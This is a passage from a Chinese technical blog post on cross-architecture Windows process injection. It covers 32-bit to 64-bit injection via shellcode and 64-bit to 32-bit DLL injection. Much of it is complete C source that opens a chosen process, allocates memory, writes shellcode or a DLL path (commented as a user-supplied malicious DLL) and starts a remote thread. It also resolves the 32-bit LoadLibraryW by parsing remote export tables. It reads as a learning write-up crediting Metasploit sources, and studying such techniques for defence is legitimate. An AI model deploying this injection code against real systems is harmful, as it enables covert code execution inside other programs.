HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) { printf("[-] OpenProcess 失败 %lu\n", GetLastError()); return 1; }

// 1. 远程分配低 2 GB 内存
LPVOID pCode = VirtualAllocEx(hProc, (LPVOID)0x10000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pCode) pCode = VirtualAllocEx(hProc, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pCode) { printf("[-] 远程代码分配失败\n"); CloseHandle(hProc); return 1; }
printf("[+] 代码地址: %p\n", pCode);

WriteProcessMemory(hProc, pCode, shellcode, sizeof(shellcode), NULL);

// 3. 注入
if (inject_via_remotethread_wow64(hProc, pCode, NULL))
{
printf("[+] 64 位线程已创建,计算器应弹出!\n");
}
else
{
printf("[-] 注入失败,错误码: %lu\n", GetLastError());
}

CloseHandle(hProc);
return 0;
}

1.4 测试

win11 intel CPU

win11 AMD CPU

win10

win 7

二、x64->x32

参考 xia0ji233 师傅这篇的文章:关于64位进程注入32位进程的分析 | xia0ji233’s blog

不愧是我github上第一个关注的大佬,当时就是看了他的这篇文章之后就在心里种下了一颗“一定实现 跨位数注入”的种子,如今本文如愿实现,真的很感谢 xia0ji233 师傅,给了我很多启发!

在64位程序向64位远程进程注入dll时,我们的经典操作是

  1. 使用 OpenProcess 打开进程。
  2. 使用 VirtualAllocEx 在远程进程中为DLL路径申请空间。
  3. 使用 WriteProcessMemory 将dll路径写入到指定进程中的内存区域。
  4. 使用 GetModuleHandleA+GetProcAddress 获取LoadLibraryA在kernel32.dll的虚拟地址
  5. 使用 CreateRemoteThread 创建在另一个进程的虚拟地址空间中运行的线程,LoadLibraryA或者LoadLibraryW作为lpStartAddress,已写入DLL路径的内存地址作为lpParameter。
  6. 使用 WaitForSingleObject 等待远程线程结束。

对于第4步的原理是:同架构的进程是共享同一套共享库系统,即同架构的进程的 kernel32.dllntdll.dll 的句柄(基址)在不同进程的虚拟内存空间是一致的,进而LoadLibrary在同架构的不同进程里的kernel32.dll的虚拟地址也是一致的,这样我们就可以将LoadLibrary的地址作为线程启动的起点。其实我在我的早期文章的时候就研究过这个知识的,没想到这里又用上了。

例如:两个64位的进程其 ntdll.dll 的基址是一样的

同理32位进程的kernel32.dll也是一样

当我们使用64->32 注入dll与上述同架构注入最关键的差异是:当我们在64向32进程注入32位的dll时,需要用到32进程里的 kernel32.dll 的模块基址,而64位和32位 kernel32.dll 的模块基址是不一致的,毕竟他们并不是同一个 kernel32,一个是System32目录(64位程序使用),而另一个是SysWOW64目录(32位程序使用),导致常规的远程进程注入方法失效!

一个程序使用 GetModuleHandleA+GetProcAddress 获取到的 LoadLibraryW 的地址是基于程序的架构的,比如说64位程序获取到的就是64位的 LoadLibraryW ,64位程序使用上述的方法是没办法获取到32位的LoadLibraryW,所以为了实现64->32 注入dll,需要自己实现类似 GetModuleHandleA+GetProcAddress 的功能。

在下文给的示例代码中,一共有两个关键的自定义函数:

  1. GetLoadLibraryW 就是在 指定的32位目标进程 里,把 kernel32.dll32位 LoadLibraryW 入口地址给你找出来并返回。
  2. GetRemoteProcAddress 就是经典的从DOS->NT->导出表寻找目标函数地址的过程,这里不过多叙述。

可以将两个函数合并,大致流程总结如下:

  1. EnumProcessModulesEx 指定 LIST_MODULES_32BIT 参数,表明要枚举32位目标进程的所有模块,存放到模块数组中;
  2. 遍历模块数组,使用 GetModuleBaseNameW 获取模块文件名(非绝对路径名)
  3. 使用 _wcsicmp 忽略大小写比较模块文件名与目标模块名,在本文中,目标模块名为 KERNEL32.DLLkernel32.dll 或者任意组合都可以。
  4. 如果匹配成功,则使用 GetRemoteProcAddress 解析模块的导出表,获得目标函数地址。
  5. 最后将寻找到的目标函数(LoadLibraryW)地址返回,并在后续的 CreateRemoteThread 中使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <Psapi.h>
#include <string.h>

FARPROC GetRemoteProcAddress(HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName) {
BYTE buffer[4096];
SIZE_T bytesRead;

if (!ReadProcessMemory(hProcess, hModule, buffer, sizeof(buffer), &bytesRead)) {
return NULL;
}

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)((BYTE*)buffer + dosHeader->e_lfanew);
DWORD RVAForExpDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

if (!ReadProcessMemory(hProcess, (BYTE*)hModule + RVAForExpDir, buffer, sizeof(IMAGE_EXPORT_DIRECTORY), &bytesRead)) {
return NULL;
}

PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)buffer;
DWORD funcAddr = (DWORD)(exportDir->AddressOfFunctions);
DWORD nameAddr = (DWORD)(exportDir->AddressOfNames);
DWORD nameOrdAddr = (DWORD)(exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char name[256];
DWORD TrueNameAddr;
WORD TrueOrd;
DWORD TrueFuncAddr;
if (!ReadProcessMemory(hProcess, (BYTE*)hModule + nameAddr + sizeof(DWORD) * i, &TrueNameAddr, sizeof(TrueNameAddr), &bytesRead)) {
return NULL;
}
if (!ReadProcessMemory(hProcess, (LPCVOID)((BYTE*)hModule + (DWORD)TrueNameAddr), name, sizeof(name), &bytesRead)) {
return NULL;
}
if (_stricmp(name, lpProcName) == 0) {
if (!ReadProcessMemory(hProcess, (BYTE*)hModule + nameOrdAddr + sizeof(WORD) * i, &TrueOrd, sizeof(TrueOrd), &bytesRead)) {
return NULL;
}

if (!ReadProcessMemory(hProcess, (BYTE*)hModule + funcAddr + sizeof(DWORD) * (TrueOrd), &TrueFuncAddr, sizeof(TrueFuncAddr), &bytesRead)) {
return NULL;
}
return (FARPROC)(TrueFuncAddr + (BYTE*)hModule);
}
}

return NULL;
}

FARPROC GetLoadLibraryW(HANDLE hProcess) {
HMODULE hMods[1024];
DWORD cbNeeded;
unsigned int i;
FARPROC ret = NULL;
if (EnumProcessModulesEx(hProcess, hMods, sizeof(hMods), &cbNeeded, LIST_MODULES_32BIT)) {
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
WCHAR szModName[MAX_PATH];
if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(WCHAR))) {
if (!_wcsicmp(L"KERNEL32.DLL", szModName)) {
ret = GetRemoteProcAddress(hProcess, hMods[i], "LoadLibraryW");
if (ret != NULL) {
wprintf(L"在模块 %s 中找到 LoadLibraryW 函数地址: 0x%08X\n", szModName, (DWORD)ret);
break;
}
}
}
}
}
return ret;
}

int main() {
printf("[+] 本进程位数: 64\n");
DWORD pid;
printf("[+] 请输入 32 位进程 PID: ");
scanf_s("%lu", &pid);
const WCHAR* FileName = L"恶意.dll"; // 自备恶意dll

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
MessageBoxW(NULL, L"打开句柄失败,可能没有权限", FileName, MB_OK);
return 1;
}
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!lpAddress) {
MessageBoxW(NULL, L"分配远程空间失败,可能没有权限", FileName, MB_OK);
CloseHandle(hProcess);
return 1;
}
SIZE_T dwWriteLength = 0;
BOOL res = WriteProcessMemory(hProcess, lpAddress, FileName, (wcslen(FileName) + 1) * 2, &dwWriteLength);
if (!res) {
MessageBoxW(NULL, L"写失败", FileName, MB_OK);
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

FARPROC LoadLibraryAddr = NULL;
LoadLibraryAddr = GetLoadLibraryW(hProcess);
if (LoadLibraryAddr == NULL) {
MessageBoxW(NULL, L"无法获取LoadLibraryW地址", FileName, MB_OK);
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryAddr, lpAddress, NULL, NULL);
if (hThread == NULL) {
MessageBoxW(NULL, L"创建远程线程失败", FileName, MB_OK);
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

WaitForSingleObject(hThread, INFINITE);

// 清理资源
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

PixPin_2025-12-01_18-41-15.png

注意⚠:当你成功注入DLL后,想要再一次对同一个目标进程注入dll时没有出现弹窗,这是因为DLL已经加载到目标进程的内存空间了,所以不会触发DLL里 DLL_PROCESS_ATTACH 里的执行逻辑。

PixPin_2025-12-01_18-41-57.png

64->32 注入shellcode就是普通的远程线程注入,不在这里赘述。

三、总结

32->64跨位数注入的原理非常简单,难就难在两个stub的构造,对于不熟悉汇编的师傅来说是有一定的挑战性的。stub1负责CPU短长模式切换,stub2负责寻找到 RtlCreateUserThread 的地址并调用。

64->32的原理就更简单了,与普通的远程线程注入的核心差异就是需要获取32目标进程的 kernel32.dll 模块,进而获取 LoadLibraryW 函数地址,这样 CreateRemoteThread 才不会出错。

这种比较接近系统底层,需要编写汇编的技术,对于大部分人来说学起来挺吃力的,我也不例外,希望本文能给帮助到各位师傅!

我开头说过,跨位数注入的原理来源heaven’s gate,但其只是heaven’s gate的冰山一角,heaven’s gate里面的内容还有很多值得学习的,至少能水1到2篇文章(认真脸),不过这都是以后的事情了。

至于下篇文章的主题应该是与Beacon有关,还没想好只是有一个大概的方向。太多人写过的主题我不太想发先知上,我对发在先知上的文章有一定的要求:与众不同,有一点技术性含量,不过对于只有一年学习经验的我来说还是非常具有挑战性的,毕竟“太阳底下没有新鲜事”,我写的这些文章都是前人早已提出并实现,我只是总结而已。除了先知之外,我也会在博客上分享一些碎碎念和简短的技术分享,感兴趣的师傅可以去看看。

最后求一下三连啊!师傅的点赞、收藏和关注真的对我很重要呜呜呜呜呜呜>.<

参考资料

  1. metasploit-framework/external/source/shellcode/windows/x86/src/migrate/executex64.asm at master · rapid7/metasploit-framework
  2. metasploit-framework/external/source/shellcode/windows/x64/src/migrate/remotethread.asm at master · rapid7/metasploit-framework
  3. wow64ext v1.0.0.8 – ReWolf 的博客
  4. NTAPI Undocumented Functions
  5. 关于64位进程注入32位进程的分析 | xia0ji233’s blog